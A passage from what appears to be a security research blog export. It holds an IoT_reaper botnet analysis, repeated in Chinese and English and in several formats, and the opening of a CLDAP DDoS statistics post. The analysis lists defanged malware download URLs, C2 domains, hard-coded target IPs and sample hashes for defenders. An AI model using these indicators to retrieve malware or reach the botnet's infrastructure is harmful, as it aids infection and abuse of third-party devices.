src="__GHOST_URL__/content/images/2017/10/comparation_between_iot_reaper_and_mirai.png" alt="" loading="lazy"></p> <h3 id="s">S簇的近期样本变化情况</h3> <p>我们会监控视野范围内样本变化情况。在10月23日，我们检测到S簇的如下URL内容发生变化：</p> <ul> <li>hxxp://162.211.183.192/sa</li> </ul> <p>变化情况如下表所示：</p> <p><img src="__GHOST_URL__/content/images/2017/10/malware_update_s.png" alt="" loading="lazy"></p> <p>在原始报告的“样本的投入、C2 的布局和流量变化”一节已经提及：这是一个恶意代码样本，被控制者放置在downloader服务器上，被loader服务器投递，投递成功后会向controller报告心跳，启动扫描并将扫描到的易感染设备信息报告给reporter。</p> <p>我们仔细观察更新后的样本发现：</p> <ul> <li>新集成了一个<strong>新的漏洞利用</strong> :<a href="http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt">http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt</a></li> <li><strong>心跳</strong>会指向 e.hl852.com/e.hl859.com</li> <li>样本中内置了<strong>9个硬编码的IP地址</strong>，扫描时，扫描目标地址会包含；</li> <li>上述9个IP地址上有共计 34个端口会被频繁扫描：其中<strong>17个端口是硬编码的</strong>，样本会随机扫描其中的部分；<strong>另外17个端口</strong>虽然会被频繁扫描，但是并未被直接硬编码到样本中。我们推测样本中隐藏了某段逻辑来扫描后面17个端口。</li> </ul> <p>这第十个漏洞利用在样本中的调用过程：</p> <p><img src="__GHOST_URL__/content/images/2017/10/calling_10th_exploit-1.png" alt="" loading="lazy"></p> <p>上述9个硬编码的IP地址是：</p> <pre><code>217.155.58.226 85.229.43.75 213.185.228.42 218.186.0.186 103.56.233.78 103.245.77.113 116.58.254.40 201.242.171.137 36.85.177.3 </code></pre> <p>对应的，我们可以观察到大网上这9个IP地址的流量在上述时间点以后开始增加：</p> <p><img src="__GHOST_URL__/content/images/2017/10/network_traffic_on_9_new_ip_by_s_family.png" alt="" loading="lazy"></p> <p>34 个硬编码、没有硬编码但是会被扫描的端口号：</p> <p><img src="__GHOST_URL__/content/images/2017/10/scan_port_list.png" alt="" loading="lazy"></p> <h3 id="sc2dns">S 簇的 C2 DNS流量变化</h3> <p>S 簇先后使用了下面一组C2，对应的 DNS 流量图见后</p> <ul> <li><strong>e.hi8520.com</strong>：对应图中最上方蓝色曲线；</li> <li><strong>e.hl852.com</strong>：对应图中中间绿色曲线；</li> <li><strong>e.ha859.com</strong>：对应途中底部黄色曲线；</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/10/c2_dns_traffic-1.png" alt="" loading="lazy"></p> <p>IoC<br> hxxp://162.211.183.192/sa 41ef6a5c5b2fde1b367685c7b8b3c154<br> hxxp://162.211.183.192/sa f9ec2427377cbc6afb4a7ff011e0de77<br> hxxp://162.211.183.192/sa 76be3db77c7eb56825fe60009de2a8f2<br> hxxp://162.211.183.192/sa5 95b448bdf6b6c97a33e1d1dbe41678eb<br> hxxp://162.211.183.192/sa e9a03dbde09c6b0a83eefc9c295711d7<br> hxxp://162.211.183.192/sa 3d680273377b67e6491051abe17759db<br> hxxp://162.211.183.192/sa 726d0626f66d5cacfeff36ed954dad70</p> <!--kg-card-end: markdown-->

在周五晚上披露了IoT_reaper之后，我们收到了来自安全社区和各方很多问题。这里给出一个快速的更新，以澄清各方可能的疑问。 IoT_reaper样本投递历史情况 我们通过蜜罐观察到的 IoT_reaper 样本历史投递情况如下： 可以看出，IoT_reaper 最主要传播的恶意代码位于下面这个URL上： * 下载地址：hxxp://162.211.183.192/sa * 投递者：119.82.26.157 * 起止时间：10-04～10-17 * 样本md5：7 个,详细见文末IoC 这个URL上的样本之间内聚关系比较强，我们称为S簇。 后来进一步的分析，认为S簇还包括其他一些样本；而在S簇之外，还有一个LUA簇，以及其他更小一些的未知簇。 S簇的样本构成 我们认为S簇包含下面这些URL上的样本： * hxxp://162.211.183.192/sa * hxxp://162.211.183.192/sa5 * hxxp://162.211.183.192/sm * hxxp://162.211.183.192/sml 簇内的命名策略可能是这样的，头部的s代表S簇： * sa: arm * sa5：arm5 * sm：mips * sml：mips 小端 S簇的C2 布局、感染机制和数字疑问 如上图： * loader : 负责通过漏洞植入恶意代码 * downloader : 提供恶意代码下载 * reporter : 接收bot扫描到的易感染设备信息 * controller : 控制bot、发送控制指令 * 我们猜测，在reporter 和 loader 之间有一个队列，reporter会将收集到的易感染设备信息推入队列，等待loader处理 与 S 簇感染相关的有一组不同的数字，近日来容易引起安全社区的混淆。我们看到的数字如下： * 已经汇报到单台 reporter 的易感染设备数：超过2m，到 2017-10-18 为止； * 单台 controller 累积控制设备数：超过28k，到 2017-10-24 为止； 这两个数字之间有 显著差距，原因尚不明确。这可能是因为攻击者的实现导致在队列中加入了大量的不存在相应漏洞的设备, 或者是攻击者的 loader 处理能力不足而被动积压，也有可能是攻击者主动抑制了感染速度以减少暴露风险，或者是因为其他我们不得而知的原因。 S 簇单台 C2 感染情况统计（2017-10-13 ～ 2017-10-23） 时间分布： 国家分布: 被感染的前十国家: 与 mirai 初期感染情况对比 S簇的近期样本变化情况 我们会监控视野范围内样本变化情况。在10月23日，我们检测到S簇的如下URL内容发生变化： * hxxp://162.211.183.192/sa 变化情况如下表所示： 在原始报告的“样本的投入、C2 的布局和流量变化”一节已经提及：这是一个恶意代码样本，被控制者放置在downloader服务器上，被loader服务器投递，投递成功后会向controller报告心跳，启动扫描并将扫描到的易感染设备信息报告给reporter。 我们仔细观察更新后的样本发现： * 新集成了一个新的漏洞利用 :http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt * 心跳会指向 e.hl852.com/e.hl859.com * 样本中内置了9个硬编码的IP地址，扫描时，扫描目标地址会包含； * 上述9个IP地址上有共计 34个端口会被频繁扫描：其中17个端口是硬编码的，样本会随机扫描其中的部分；另外17个端口虽然会被频繁扫描，但是并未被直接硬编码到样本中。我们推测样本中隐藏了某段逻辑来扫描后面17个端口。 这第十个漏洞利用在样本中的调用过程： 上述9个硬编码的IP地址是： 217.155.58.226 85.229.43.75 213.185.228.42 218.186.0.186 103.56.233.78 103.245.77.113 116.58.254.40 201.242.171.137 36.85.177.3 对应的，我们可以观察到大网上这9个IP地址的流量在上述时间点以后开始增加： 34 个硬编码、没有硬编码但是会被扫描的端口号： S 簇的 C2 DNS流量变化 S 簇先后使用了下面一组C2，对应的 DNS 流量图见后 * e.hi8520.com：对应图中最上方蓝色曲线； * e.hl852.com：对应图中中间绿色曲线； * e.ha859.com：对应途中底部黄色曲线； IoC hxxp://162.211.183.192/sa 41ef6a5c5b2fde1b367685c7b8b3c154 hxxp://162.211.183.192/sa f9ec2427377cbc6afb4a7ff011e0de77 hxxp://162.211.183.192/sa 76be3db77c7eb56825fe60009de2a8f2 hxxp://162.211.183.192/sa5 95b448bdf6b6c97a33e1d1dbe41678eb hxxp://162.211.183.192/sa e9a03dbde09c6b0a83eefc9c295711d7 hxxp://162.211.183.192/sa 3d680273377b67e6491051abe17759db hxxp://162.211.183.192/sa 726d0626f66d5cacfeff36ed954dad70

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"在周五晚上披露了**IoT\\_reaper**之后，我们收到了来自安全社区和各方很多问题。这里给出一个快速的更新，以澄清各方可能的疑问。\n\n\n###IoT_reaper样本投递历史情况\n\n我们通过蜜罐观察到的 **IoT_reaper** 样本历史投递情况如下：\n\n\n\n可以看出，IoT_reaper 最主要传播的恶意代码位于下面这个URL上：\n\n* 下载地址：hxxp://162.211.183.192/sa\n* 投递者：119.82.26.157\n* 起止时间：10-04～10-17\n* 样本md5：7 个,详细见文末IoC\n\n这个URL上的样本之间内聚关系比较强，我们称为S簇。\n\n后来进一步的分析，认为S簇还包括其他一些样本；而在S簇之外，还有一个LUA簇，以及其他更小一些的未知簇。\n\n###S簇的样本构成\n我们认为S簇包含下面这些URL上的样本：\n\n* hxxp://162.211.183.192/sa\n* hxxp://162.211.183.192/sa5\n* hxxp://162.211.183.192/sm\n* hxxp://162.211.183.192/sml\n\n簇内的命名策略可能是这样的，头部的s代表S簇：\n\n* sa: arm\n* sa5：arm5\n* sm：mips\n* sml：mips 小端\n\n\n### S簇的C2 布局、感染机制和数字疑问\n\n\n\n如上图：\n\n* **loader** : 负责通过漏洞植入恶意代码\n* **downloader** : 提供恶意代码下载\n* **reporter** : 接收bot扫描到的易感染设备信息\n* **controller** : 控制bot、发送控制指令\n* 我们猜测，在reporter 和 loader 之间有一个队列，reporter会将收集到的易感染设备信息推入队列，等待loader处理\n\n与 S 簇感染相关的有一组不同的数字，近日来容易引起安全社区的混淆。我们看到的数字如下：\n\n * 已经汇报到单台 reporter 的易感染设备数：超过2m，到 2017-10-18 为止；\n * 单台 controller 累积控制设备数：超过28k，到 2017-10-24 为止；\n\n这两个数字之间有 **显著差距**，原因尚不明确。这可能是因为攻击者的实现导致在队列中加入了大量的不存在相应漏洞的设备, 或者是攻击者的 loader 处理能力不足而被动积压，也有可能是攻击者主动抑制了感染速度以减少暴露风险，或者是因为其他我们不得而知的原因。\n\n\n###S 簇单台 C2 感染情况统计（2017-10-13 ～ 2017-10-23）\n时间分布：\n\n\n\n\n\n\n国家分布:\n\n\n\n被感染的前十国家:\n\n\n\n与 mirai 初期感染情况对比\n\n\n\n\n\n\n###S簇的近期样本变化情况\n\n我们会监控视野范围内样本变化情况。在10月23日，我们检测到S簇的如下URL内容发生变化：\n\n * hxxp://162.211.183.192/sa\n\n变化情况如下表所示：\n\n\n\n在原始报告的“样本的投入、C2 的布局和流量变化”一节已经提及：这是一个恶意代码样本，被控制者放置在downloader服务器上，被loader服务器投递，投递成功后会向controller报告心跳，启动扫描并将扫描到的易感染设备信息报告给reporter。\n\n我们仔细观察更新后的样本发现：\n\n* 新集成了一个**新的漏洞利用** :http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt\n* **心跳**会指向 e.hl852.com/e.hl859.com\n* 样本中内置了**9个硬编码的IP地址**，扫描时，扫描目标地址会包含；\n* 上述9个IP地址上有共计 34个端口会被频繁扫描：其中**17个端口是硬编码的**，样本会随机扫描其中的部分；**另外17个端口**虽然会被频繁扫描，但是并未被直接硬编码到样本中。我们推测样本中隐藏了某段逻辑来扫描后面17个端口。\n\n\n这第十个漏洞利用在样本中的调用过程：\n\n\n\n上述9个硬编码的IP地址是：\n\n```\n217.155.58.226\n85.229.43.75\n213.185.228.42\n218.186.0.186\n103.56.233.78\n103.245.77.113\n116.58.254.40\n201.242.171.137\n36.85.177.3\n```\n\n对应的，我们可以观察到大网上这9个IP地址的流量在上述时间点以后开始增加：\n\n\n\n34 个硬编码、没有硬编码但是会被扫描的端口号：\n\n\n\n###S 簇的 C2 DNS流量变化\n\nS 簇先后使用了下面一组C2，对应的 DNS 流量图见后\n\n * **e.hi8520.com**：对应图中最上方蓝色曲线；\n * **e.hl852.com**：对应图中中间绿色曲线；\n * **e.ha859.com**：对应途中底部黄色曲线；\n\n\n\n\n\n\n\nIoC\nhxxp://162.211.183.192/sa\t41ef6a5c5b2fde1b367685c7b8b3c154\nhxxp://162.211.183.192/sa\tf9ec2427377cbc6afb4a7ff011e0de77\nhxxp://162.211.183.192/sa\t76be3db77c7eb56825fe60009de2a8f2\nhxxp://162.211.183.192/sa5\t95b448bdf6b6c97a33e1d1dbe41678eb\nhxxp://162.211.183.192/sa\te9a03dbde09c6b0a83eefc9c295711d7\nhxxp://162.211.183.192/sa\t3d680273377b67e6491051abe17759db\nhxxp://162.211.183.192/sa\t726d0626f66d5cacfeff36ed954dad70\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

69

post

2017-10-25T12:44:59.000Z

63873b9a8b1c1e0007f52f00

iot_reaper-a-few-updates-en

2022-02-09T07:15:04.000Z

public

published

2017-10-25T14:25:04.000Z

IoT_reaper: A Few Updates

<!--kg-card-begin: markdown--><p>Here is a quick follow up post regarding to our <a href="__GHOST_URL__/iot_reaper-a-rappid-spreading-new-iot-botnet-en/">initial blog</a>.</p> <h3 id="iot_reapersamplehistory">IoT_reaper Sample History</h3> <p>The historical delivery of the <strong>IoT_reaper</strong> samples we observed through our honeypot are as follow:</p> <p><img src="__GHOST_URL__/content/images/2017/10/loader_history-1.png" alt="" loading="lazy"></p> <p>It is noticeable that most malicious samples for IoT_reaper are located at the following URL:</p> <ul> <li>Downloading URL: hxxp://162.211.183.192/sa</li> <li>Loader: 119.82.26.157</li> <li>Starting and ending time: 10-04～10-17</li> <li>Sample md5: 7, see IoC at the end of the article</li> </ul> <p>The cohesion between the samples on this URL is fairly close, so we name it S cluster.</p> <p>The S cluster also includes some other samples; and in addition to the S cluster, there is a LUA cluster, and other smaller unknown clusters. But we will focus on S cluster here.</p> <h3 id="aboutscluster">About S cluster</h3> <p>S cluster contains samples on the following URLs:</p> <ul> <li>hxxp://162.211.183.192/sa</li> <li>hxxp://162.211.183.192/sa5</li> <li>hxxp://162.211.183.192/sm</li> <li>hxxp://162.211.183.192/sml</li> </ul> <p>The naming strategy within the cluster works like this:</p> <ul> <li>sa: arm</li> <li>sa5：arm5</li> <li>sm：mips</li> <li>sml：mips little endian</li> </ul> <h3 id="sclusterc2layoutinfectionmechanismsandthenumbers">S Cluster C2 Layout, Infection Mechanisms and the Numbers</h3> <p><img src="__GHOST_URL__/content/images/2017/10/s_cluster_c2_layout.png" alt="" loading="lazy"></p> <p>As above:</p> <ul> <li><strong>loader</strong> : responsible for injecting malicious code to vulnerable devices via their corresponding vulnerabilities</li> <li><strong>downloader</strong> : provides malware downloading</li> <li><strong>reporter</strong> : receives information about potential vulnerable devices discovered by the bot net scanner</li> <li><strong>controller</strong> : controls the bot, sends control commands</li> <li>We think there is a <strong>queue</strong> between the reporter and the loader, which the reporter will push the collected information on the potential vulnerable devices in, so the loader can take over and infect the targets</li> </ul> <p>The number of potential vulnerable devices VS infected devices</p> <ul> <li>Number of potential vulnerable devices reported to one <strong>reporter</strong>'s queue: over 2m till 2017-10-18;</li> <li>Number of infected bots controlled by one <strong>controller</strong> : over 28k till 2017-10-24</li> </ul> <p>Note that there is a <strong>significant difference</strong> between the two numbers, the real reason is yet to be determined. But if we have to take a guess, it might be that IoT_reaper has some problem identifying potential vulnerable devices, so most devices in its queue are not really vulnerable. Or it may be because the attacker’s loader lacks the needed capacity and all the tasks get backlogged, or maybe the attacker deliberately slow down the infection rate to reduce the risk of exposure.</p> <h3 id="infectionstatisticsonasinglesclusterc2">Infection Statistics on a Single S-cluster C2</h3> <p>From 2017-10-13 to 2017-10-23</p> <p>Time distribution:</p> <p><img src="__GHOST_URL__/content/images/2017/10/iot_reaper_infection_by_day.png" alt="" loading="lazy"></p> <p>Country distribution:</p> <p><img src="__GHOST_URL__/content/images/2017/10/bot_country_distribution.png" alt="" loading="lazy"></p> <p>Top 10 infected countries:</p> <p><img src="__GHOST_URL__/content/images/2017/10/iot_reaper_infection_top10_country.png" alt="" loading="lazy"></p> <p>A comparison against Mirai early stage infection</p> <p><img src="__GHOST_URL__/content/images/2017/10/comparation_between_iot_reaper_and_mirai.png" alt="" loading="lazy"></p> <h3 id="themostrecentsclusterssamplebehavior">The Most Recent S-clusters Sample Behavior</h3> <p>On October 23, we detected a change on following URL:</p> <ul> <li>hxxp://162.211.183.192/sa</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/10/change_at_the_fist_glance-3.png" alt="" loading="lazy"></p> <p>We have mentioned this sample in the <a href="__GHOST_URL__/iot_reaper-a-rappid-spreading-new-iot-botnet-en/">original report</a>, the &quot;Sample Delivery, C2 Distribution and Traffic Pattern&quot; section. This is a malware, which is placed on the <strong>downloader</strong> server and is delivered by the <strong>loader</strong>. After success delivery it will send heartbeat to <strong>controller</strong>, start scanning and then report the vulnerable device information to the reporter.</p> <p>After a close look we find:</p> <ul> <li><strong>A new exploit integrated</strong> : <a href="http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt">http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt</a></li> <li><strong>Heartbeats</strong> go to e.hl852.com/e.hl859.com;</li> <li><strong>9 IP hard coded</strong> in sample, will always be scanned;</li> <li>Notice that there are <strong>34 frequently scanned ports</strong> on the above 9 IPs. Within them, 17 ports are hard-coded, another 17 ports are not hard-coded in plain text in the sample, We speculate that the sample hides a logic somewhere to scan the last 17 ports.</li> </ul> <p>About how <strong>this new 10th exploit</strong> get used by the botnet:</p> <p><img src="__GHOST_URL__/content/images/2017/10/calling_10th_exploit-1.png" alt="" loading="lazy"></p> <p>The <strong>9 hard coded IP</strong> addresses:</p> <pre><code>217.155.58.226 85.229.43.75 213.185.228.42 218.186.0.186 103.56.233.78 103.245.77.113 116.58.254.40 201.242.171.137 36.85.177.3 </code></pre> <p>And the <strong>corresponding network traffic</strong> for these 9 IPs. Note the traffic increased just after the new sample was released.</p> <p><img src="__GHOST_URL__/content/images/2017/10/network_traffic_on_9_new_ip_by_s_family.png" alt="" loading="lazy"></p> <p>The <strong>34 frequently scanned ports</strong>, hard-coded and non-hard-coded.</p> <p><img src="__GHOST_URL__/content/images/2017/10/scan_port_list.png" alt="" loading="lazy"></p> <h3 id="thednstrafficofsclusterc2s">The DNS traffic of S-cluster C2s</h3> <ul> <li><strong>e.hi8520.com</strong>: the topmost blue curve in the corresponding graph</li> <li><strong>e.hl852.com</strong>: the middle green curve</li> <li><strong>e.ha859.com</strong>: the bottom yellow curve</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/10/c2_dns_traffic-1.png" alt="" loading="lazy"></p> <p>IoC<br> hxxp://162.211.183.192/sa 41ef6a5c5b2fde1b367685c7b8b3c154<br> hxxp://162.211.183.192/sa f9ec2427377cbc6afb4a7ff011e0de77<br> hxxp://162.211.183.192/sa 76be3db77c7eb56825fe60009de2a8f2<br> hxxp://162.211.183.192/sa5 95b448bdf6b6c97a33e1d1dbe41678eb<br> hxxp://162.211.183.192/sa e9a03dbde09c6b0a83eefc9c295711d7<br> hxxp://162.211.183.192/sa 3d680273377b67e6491051abe17759db<br> hxxp://162.211.183.192/sa 726d0626f66d5cacfeff36ed954dad70</p> <!--kg-card-end: markdown-->

Here is a quick follow up post regarding to our initial blog. IoT_reaper Sample History The historical delivery of the IoT_reaper samples we observed through our honeypot are as follow: It is noticeable that most malicious samples for IoT_reaper are located at the following URL: * Downloading URL: hxxp://162.211.183.192/sa * Loader: 119.82.26.157 * Starting and ending time: 10-04～10-17 * Sample md5: 7, see IoC at the end of the article The cohesion between the samples on this URL is fairly close, so we name it S cluster. The S cluster also includes some other samples; and in addition to the S cluster, there is a LUA cluster, and other smaller unknown clusters. But we will focus on S cluster here. About S cluster S cluster contains samples on the following URLs: * hxxp://162.211.183.192/sa * hxxp://162.211.183.192/sa5 * hxxp://162.211.183.192/sm * hxxp://162.211.183.192/sml The naming strategy within the cluster works like this: * sa: arm * sa5：arm5 * sm：mips * sml：mips little endian S Cluster C2 Layout, Infection Mechanisms and the Numbers As above: * loader : responsible for injecting malicious code to vulnerable devices via their corresponding vulnerabilities * downloader : provides malware downloading * reporter : receives information about potential vulnerable devices discovered by the bot net scanner * controller : controls the bot, sends control commands * We think there is a queue between the reporter and the loader, which the reporter will push the collected information on the potential vulnerable devices in, so the loader can take over and infect the targets The number of potential vulnerable devices VS infected devices * Number of potential vulnerable devices reported to one reporter's queue: over 2m till 2017-10-18; * Number of infected bots controlled by one controller : over 28k till 2017-10-24 Note that there is a significant difference between the two numbers, the real reason is yet to be determined. But if we have to take a guess, it might be that IoT_reaper has some problem identifying potential vulnerable devices, so most devices in its queue are not really vulnerable. Or it may be because the attacker’s loader lacks the needed capacity and all the tasks get backlogged, or maybe the attacker deliberately slow down the infection rate to reduce the risk of exposure. Infection Statistics on a Single S-cluster C2 From 2017-10-13 to 2017-10-23 Time distribution: Country distribution: Top 10 infected countries: A comparison against Mirai early stage infection The Most Recent S-clusters Sample Behavior On October 23, we detected a change on following URL: * hxxp://162.211.183.192/sa We have mentioned this sample in the original report, the "Sample Delivery, C2 Distribution and Traffic Pattern" section. This is a malware, which is placed on the downloader server and is delivered by the loader. After success delivery it will send heartbeat to controller, start scanning and then report the vulnerable device information to the reporter. After a close look we find: * A new exploit integrated : http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt * Heartbeats go to e.hl852.com/e.hl859.com; * 9 IP hard coded in sample, will always be scanned; * Notice that there are 34 frequently scanned ports on the above 9 IPs. Within them, 17 ports are hard-coded, another 17 ports are not hard-coded in plain text in the sample, We speculate that the sample hides a logic somewhere to scan the last 17 ports. About how this new 10th exploit get used by the botnet: The 9 hard coded IP addresses: 217.155.58.226 85.229.43.75 213.185.228.42 218.186.0.186 103.56.233.78 103.245.77.113 116.58.254.40 201.242.171.137 36.85.177.3 And the corresponding network traffic for these 9 IPs. Note the traffic increased just after the new sample was released. The 34 frequently scanned ports, hard-coded and non-hard-coded. The DNS traffic of S-cluster C2s * e.hi8520.com: the topmost blue curve in the corresponding graph * e.hl852.com: the middle green curve * e.ha859.com: the bottom yellow curve IoC hxxp://162.211.183.192/sa 41ef6a5c5b2fde1b367685c7b8b3c154 hxxp://162.211.183.192/sa f9ec2427377cbc6afb4a7ff011e0de77 hxxp://162.211.183.192/sa 76be3db77c7eb56825fe60009de2a8f2 hxxp://162.211.183.192/sa5 95b448bdf6b6c97a33e1d1dbe41678eb hxxp://162.211.183.192/sa e9a03dbde09c6b0a83eefc9c295711d7 hxxp://162.211.183.192/sa 3d680273377b67e6491051abe17759db hxxp://162.211.183.192/sa 726d0626f66d5cacfeff36ed954dad70

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Here is a quick follow up post regarding to our [initial blog](__GHOST_URL__/iot_reaper-a-rappid-spreading-new-iot-botnet-en/). \n\n###IoT_reaper Sample History\n\nThe historical delivery of the **IoT\\_reaper** samples we observed through our honeypot are as follow:\n\n\n\nIt is noticeable that most malicious samples for IoT_reaper are located at the following URL: \n\n* Downloading URL: hxxp://162.211.183.192/sa\n* Loader: 119.82.26.157\n* Starting and ending time: 10-04～10-17\n* Sample md5: 7, see IoC at the end of the article\n\nThe cohesion between the samples on this URL is fairly close, so we name it S cluster.\n\nThe S cluster also includes some other samples; and in addition to the S cluster, there is a LUA cluster, and other smaller unknown clusters. But we will focus on S cluster here.\n\n###About S cluster\nS cluster contains samples on the following URLs:\n\n* hxxp://162.211.183.192/sa\n* hxxp://162.211.183.192/sa5\n* hxxp://162.211.183.192/sm\n* hxxp://162.211.183.192/sml\n\nThe naming strategy within the cluster works like this: \n\n* sa: arm\n* sa5：arm5\n* sm：mips\n* sml：mips little endian\n\n\n### S Cluster C2 Layout, Infection Mechanisms and the Numbers\n\n\n\nAs above:\n\n* **loader** : responsible for injecting malicious code to vulnerable devices via their corresponding vulnerabilities\n* **downloader** : provides malware downloading\n* **reporter** : receives information about potential vulnerable devices discovered by the bot net scanner\n* **controller** : controls the bot, sends control commands\n* We think there is a **queue** between the reporter and the loader, which the reporter will push the collected information on the potential vulnerable devices in, so the loader can take over and infect the targets\n\nThe number of potential vulnerable devices VS infected devices\n\n* Number of potential vulnerable devices reported to one **reporter**'s queue: over 2m till 2017-10-18;\n* Number of infected bots controlled by one **controller** : over 28k till 2017-10-24\n\nNote that there is a **significant difference** between the two numbers, the real reason is yet to be determined. But if we have to take a guess, it might be that IoT_reaper has some problem identifying potential vulnerable devices, so most devices in its queue are not really vulnerable. Or it may be because the attacker’s loader lacks the needed capacity and all the tasks get backlogged, or maybe the attacker deliberately slow down the infection rate to reduce the risk of exposure.\n\n\n###Infection Statistics on a Single S-cluster C2\nFrom 2017-10-13 to 2017-10-23\n\nTime distribution:\n\n\n\n\n\n\nCountry distribution:\n\n\n\nTop 10 infected countries:\n\n\n\nA comparison against Mirai early stage infection \n\n\n\n\n###The Most Recent S-clusters Sample Behavior\n\nOn October 23, we detected a change on following URL:\n\n * hxxp://162.211.183.192/sa\n\n\n\n\nWe have mentioned this sample in the [original report](__GHOST_URL__/iot_reaper-a-rappid-spreading-new-iot-botnet-en/), the \"Sample Delivery, C2 Distribution and Traffic Pattern\" section. This is a malware, which is placed on the **downloader** server and is delivered by the **loader**. After success delivery it will send heartbeat to **controller**, start scanning and then report the vulnerable device information to the reporter.\n\n\nAfter a close look we find:\n\n* **A new exploit integrated** : http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt\n* **Heartbeats** go to e.hl852.com/e.hl859.com;\n* **9 IP hard coded** in sample, will always be scanned;\n* Notice that there are **34 frequently scanned ports** on the above 9 IPs. Within them, 17 ports are hard-coded, another 17 ports are not hard-coded in plain text in the sample, We speculate that the sample hides a logic somewhere to scan the last 17 ports.\n\nAbout how **this new 10th exploit** get used by the botnet:\n\n\n\n\nThe **9 hard coded IP** addresses:\n\n```\n217.155.58.226\n85.229.43.75\n213.185.228.42\n218.186.0.186\n103.56.233.78\n103.245.77.113\n116.58.254.40\n201.242.171.137\n36.85.177.3\n```\n\nAnd the **corresponding network traffic** for these 9 IPs. Note the traffic increased just after the new sample was released.\n\n\n\nThe **34 frequently scanned ports**, hard-coded and non-hard-coded.\n\n\n\n###The DNS traffic of S-cluster C2s \n\n\n * **e.hi8520.com**: the topmost blue curve in the corresponding graph\n * **e.hl852.com**: the middle green curve\n * **e.ha859.com**: the bottom yellow curve\n\n\n\n\n\nIoC\nhxxp://162.211.183.192/sa\t41ef6a5c5b2fde1b367685c7b8b3c154\nhxxp://162.211.183.192/sa\tf9ec2427377cbc6afb4a7ff011e0de77\nhxxp://162.211.183.192/sa\t76be3db77c7eb56825fe60009de2a8f2\nhxxp://162.211.183.192/sa5\t95b448bdf6b6c97a33e1d1dbe41678eb\nhxxp://162.211.183.192/sa\te9a03dbde09c6b0a83eefc9c295711d7\nhxxp://162.211.183.192/sa\t3d680273377b67e6491051abe17759db\nhxxp://162.211.183.192/sa\t726d0626f66d5cacfeff36ed954dad70\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

70

post

2017-11-01T03:39:18.000Z

63873b9a8b1c1e0007f52f01

cldap-is-now-the-3rd-reflection-amplified-ddos-attack-vector-surpassing-ssdp-and-chargen

2021-05-08T05:09:20.000Z

public

published

2017-11-01T10:14:41.000Z

CLDAP反射放大攻击超过SSDP和CharGen成为第三大反射型DDoS攻击

<!--kg-card-begin: markdown--><p>作者：Xu Yang，kenshin</p> <p>利用DDoSMon.net，我们实时并持续的监控全球DDoS攻击相关事件。长期以来，DDoS攻击的反射放大细分类型中，DNS、NTP、CharGen、SSDP是最经常被滥用的服务，过去一年中的排位依次是第1、2、3、4位。</p> <p>近期我们注意到， 基于CLDAP的 反射放大攻击（以下称为CLDAP攻击）已经超过SSDP和CharGEN成为第三大反射型DDoS攻击。CLDAP攻击在过去365天和90天在反射放大类DDoS攻击中占据比例，对比如下图：</p> <p><img src="__GHOST_URL__/content/images/2017/11/CLDAP_share_comparation_365day_90day.png" alt="" loading="lazy"></p> <p>数据来源：<a href="https://ddosmon.net">DDoSMon</a>。网站上<a href="https://ddosmon.net/insight">Insight页面</a>的内容可以覆盖本次blog中的大部分数据。</p> <p>CLDAP攻击首次出现是在去年10月底，到现在恰好一年。本篇blog中，我们对CLDAP攻击上升情况做一个回顾：</p> <ul> <li>在过去的一年中，我们累积观察到304,146次CLDAP反射放大攻击，涉及215,229 个独立IP，或者说受害者。CLDAP早已经成为现实存在的DDoS攻击威胁。</li> <li>值得注意的是，最近两三个月以来，CLDAP攻击发展进入新的阶段。在我们的监测范围内，过去三个月内CLDAP攻击次数累积达到168k(11.2%)次，略超过CharGen （164k次，11%），大幅领先SSDP（70k，4.4%）。</li> </ul> <p>我们<a href="http://data.netlab.360.com/">OpenData</a>中的<a href="http://data.netlab.360.com/drdos-reflector/">DRDoS数据</a>中包括了CLDAP在内的最近一月的TOP反射点IP，符合条件的安全研究人员可以免费通过 <a href="mailto:[email protected]">[email protected]</a> 申请数据下载权限。</p> <h3 id="">阶段划分</h3> <p><img src="__GHOST_URL__/content/images/2017/11/cldap_trend_last_year-2.png" alt="" loading="lazy"></p> <p>上图是过去一年中每周CLDAP攻击的次数，反映了CLDAP攻击的活跃程度。</p> <p>回顾过去一年中CLDAP攻击，我们可以比较清晰的将过去一年划分为三个阶段：</p> <ul> <li>初始阶段：2016年10月底开始出现到2017年4月初，周均攻击1000次左右</li> <li>第一次爬升阶段：2017年4月初到2017年8月底，周均攻击次数6000次左右</li> <li>第二次爬升阶段：2017年8月底至今，周均攻击15000次左右</li> </ul> <p>我们认为，CLDAP攻击在经历了早期的起伏后，在最近两三个月已经进入一个相对稳定的发展阶段。</p> <p>另一方面，我们在观察反射点的重用程度时，也注意到了类似的时间阶段划分。数据同样表明最近两三个月是一个稳定发展的阶段：</p> <p><img src="__GHOST_URL__/content/images/2017/11/reflector_comparation_by_month.png" alt="" loading="lazy"></p> <h3 id="">攻击向量组合</h3> <p>在所有CLDAP攻击中，单一的CLDAP攻击方式目前仍然是主流。如下表，单一CLDAP攻击向量占据超过84%的比例；剩下的是CLDAP与其他攻击向量混合的攻击，共计占据大约15%的比例。</p> <p><img src="__GHOST_URL__/content/images/2017/11/attack_vector_distribution.png" alt="" loading="lazy"></p> <h3 id="">持续时长分布</h3> <p>CLDAP攻击的持续时长变化比较大：最短的攻击小于1分钟，最长攻击我们曾经观察到持续超过3天。如下图所显示，1、2、3个标准差（68%, 95%, 99.7%）对应的攻击时长分别是30分钟、10小时和24小时。</p> <p><img src="__GHOST_URL__/content/images/2017/11/attack_duration_distribution.png" alt="" loading="lazy"></p> <p>上文提到的长达3天的攻击，发生在2017-09-24 15:00:00～2017-09-28 09:00:00之间。受害者IP地址(151.<em><strong>.</strong></em>.15)属于某CDN厂商。</p> <p><img src="__GHOST_URL__/content/images/2017/11/a_3_days_CLDAP_attack.png" alt="" 